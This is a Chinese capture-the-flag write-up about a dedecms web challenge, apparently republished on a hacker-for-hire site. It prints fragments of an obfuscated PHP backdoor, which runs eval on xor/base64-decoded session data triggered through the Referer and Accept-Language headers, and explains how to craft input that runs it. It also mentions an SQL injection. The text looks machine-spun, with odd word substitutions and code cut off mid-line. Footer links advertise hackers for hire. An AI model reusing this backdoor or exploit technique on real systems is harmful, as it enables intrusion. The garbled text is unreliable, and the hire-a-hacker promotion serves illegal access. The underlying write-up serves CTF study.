2019 神盾杯 final Writeup(一)-黑客接单平台

访客5年前黑客工具1309
队友去参加了2019神盾杯上海市 *** 安全比赛,线下有4道web题,就跟队友要来了源码进行了一波剖析,因为标题较多,分为2篇编撰,本篇先写dedecms和另一个命题人手写的cms。 web1 预置简略后门查杀 翻开源码发现是dedecms,运用干流webshell查杀东西得到如下成果: 因为静态剖析具有较高的误报率,所以我先挑选了diff一下: 发现后门文件为include/guess.class.php,事实证明仍是D盾nb~ 内置混杂后门 咱们先去检查文件:include/guess.class.php。 发现显着后门: W$d")W;@sessionW_destrWoy();}}}}'; $Y='pWWosW($p,$h)===0)W{$s[$i]="";W$pW=$ss(W$p,3);W}if(arrayW_key_exWists(W$i,$s))W{W'; $t='$m);if($q&W&W$m){@sessioWn_stWart();W$s=W&$_SESSIOWN;$ss="substrW";W$sl="stWrtoloW'; $X=str_replace('W','',$R.$W.$F.$a.$s.$t.$G.$I.$Y.$p.$N.$n.$A); $w=$k('',$X);$w(); ?> 定位到最终一句: $w=$k('',$X);$w(); 发现$k为create_function,那么$X的值就至关重要,咱们能够得到其值为: $d"); @session_destroy(); } } } } 看到恶意代码方位: if($e){ $k='3aae0208'; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("$d"); @session_destroy(); } 要害参数为$e和$s,咱们盯梢这两个值,发现e为$s[$i]中$f的方位: $e=strpos($s[$i],$f); 而$s[$i]与$p有关,咱们持续跟进$p,$s,$i的赋值: for($z=1;$z 简略发现$p的值与$m有关。而$i与$m也与$m有关: $s=&$_SESSION; $i=$m[1][0].$m[1][1]; 那么$m与HTTP_ACCEPT_LANGUAGE和如下正则有关: $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; .... preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/",$ra,$m); 简略测验: 发现m[2]的值由q=0.几操控,而m[1]与每组首写字母有关。 回到如下拼接: for($z=1;$z 剩余只需操控$q的值即可: $rr=@$r["HTTP_REFERER"]; $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); 咱们注意到$q与HTTP_REFERER的参数有关,咱们测验一下: 那么咱们能够经过操控数组p的值,和数组$m的值,来操控$p的值,例如: // $rr=@$r["HTTP_REFERER"]; $rr = "https://skysec.top/?exp=skycool"; // $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; $ra = "zh-CN,zh;q=0.0,en;q=0.1"; 那么此刻p的值为skycool。 紧接着是过滤: if(strpos($p,$h)===0){ $s[$i]=""; $p=substr($p,3); } 那么咱们盯梢$h,发现为salt: $i=$m[1][0].$m[1][1]; $h=strtolower(substr(md5($i.$kh),0,3)); 所以咱们很简略猜测$h的值,只需要在咱们的exp前拼接上$h的值即可。 那么现在只剩最终的exp,回到最开端的中心代码: $s[$i].=$p; $e=strpos($s[$i],$f); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); 那么能够经过$p操控`$s[$i]`的值,一起为了彻底截取,咱们能够相似如下结构exp: $exp = $h.$payload.$f; 这样即可彻底截取到咱们的$payload。 然后是加密函数x: function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i 简略发现这是xor加密,能够用来加密也可用来解密,直接用即可。 那么编写exp如下: 能够成功履行。 sql注入 经过diff能够发现代码注释了一段内容: 但这实践没有效果,是用来去除Power by dedecms的。可是另一处修正直接导致了sql注入[1][2]黑客接单网

相关文章

计算机教学视频,黑客联系方法解苹果,网络黑客哪里找哦

cat "spaces in this filename" 4试验东西: 我国菜刀 Pr 御剑 Pangolin 3389Level 4 → Level 5 附录1...

我老公是个赌鬼,在家庭里面他从来就没有尽力,照

3、2019年5月23日③ attacker对辅助域控制器(SDC)执行printerbug.py脚本Windows Server 2003(已停止维护)https://support.microso...

淘宝被攻击_求大连黑客联系方式-吸毒驾照注销找黑客有办法没有吗

「淘宝被攻击_求大连黑客联系方式-吸毒驾照注销找黑客有办法没有吗」61.147.80.73 -z紧缩生成的字典文件,有用的参数是gzip,bzip2,lzma,and7z,其间g...

WannaMine再晋级,摇身一变成为军火商?

WannaMine是个“无文件”僵尸网络,在侵略过程中无任何文件落地,只是依托WMI类特点存储ShellCode,并经过“永久之蓝”缝隙进犯兵器以及“Mimikatz+WMIExec”进犯组件进行横向...

ip精确定位,能找黑客帮忙吗,黑客能找什么样的工作室

大灰狼运用了不少闻名软件图标,在此提示网民在点击运转可疑来历的文件之前,最好检查特点经过数字签名判别文件真伪,而不要被文件名和图标利诱:别的一个层面,智能硬件职业各个厂商对安全的注重令人堪忧。 作为无...

qq上黑客接单真的吗,找黑客帮我找回球球大作战密码,找高手黑客

因为ASP程序选用的对错编译性言语,这大大降低了程序源代码的安全性。 任何人只需进入站点,就能够取得源代码,然后形成ASP使用程序源代码的走漏。 绕过姿态三:N方法 61.147.80.73...